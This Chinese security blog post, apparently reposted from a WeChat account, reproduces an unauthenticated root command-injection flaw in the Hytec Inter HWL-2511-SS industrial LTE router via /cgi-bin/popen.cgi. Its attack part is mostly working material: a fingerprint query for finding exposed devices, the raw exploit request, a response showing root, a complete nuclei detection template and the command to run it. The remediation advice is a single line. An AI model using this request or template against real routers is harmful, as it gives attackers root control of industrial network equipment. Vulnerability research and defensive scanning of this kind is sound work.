免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
01
—
漏洞名称
Hytec Inter HWL-2511-SS 路由器 popen.cgi RCE漏洞
02
—
漏洞影响
Hytec Inter HWL-2511-SS 小于等于v1.05版本
03
—
漏洞描述
HWL-2511-SS 是 Hytec Inter 公司的一款工业级 LTE 路由器，可用于远程数据传输，例如收集传感器数据和检查监控摄像头图像。1.05版本及以下的所有 Hytec Inter HWL-2511-SS 设备存在命令注入漏洞，未经身份验证的攻击者可利用该漏洞进行命令注入漏洞攻击，成功利用该漏洞允许攻击者以 root 权限在底层操作系统上执行任意命令。
04
—
body="app/feature/portForwarding.js" || body="app/app.translate-config.js"
05
—
漏洞复现
向靶场发送如下数据包(get请求可以直接用浏览器访问)
GET /cgi-bin/popen.cgi?command=id HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip
响应内容如下
HTTP/1.1 200 OKConnection: closeTransfer-Encoding: chunkedCache-Control: no-cacheContent-Type: text/htmlDate: Mon, 27 Nov 2023 06:13:19 GMTExpires: -9999Server: lighttpd/1.4.30Vary: *uid=0(root) gid=0(root)
漏洞复现成功
06
—
nuclei poc
poc文件内容如下
id: HWL-2511-SS-popen-rceinfo:name: Hytec Inter HWL-2511-SS 路由器 popen.cgi RCE漏洞author: fgzseverity: criticaldescription: Hytec Inter HWL-2511-SS 小于等于v1.05版本/cgi-bin/popen.cgi接口处存在RCE漏洞，未经授权的攻击者可以远程执行任意命令，会导致主机失陷。metadata:: 3verified: true: body="app/feature/portForwarding.js" || body="app/app.translate-config.js"http:method: GETpath:"{{BaseURL}}/cgi-bin/popen.cgi?command=id"matchers:type: dsldsl:"status_code == 200 && contains(body,'uid') && contains(body,'gid')"
运行POC
nuclei.exe -t mypoc/其他/HWL-2511-SS-popen-rce.yaml -u http://x.x.x.x
07
—
修复建议
升级到最新版本。
原文始发于微信公众号（AI与网安）：日本Hytec Inter HWL-2511-SS 路由器 popen.cgi RCE漏洞复现(nuclei poc)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论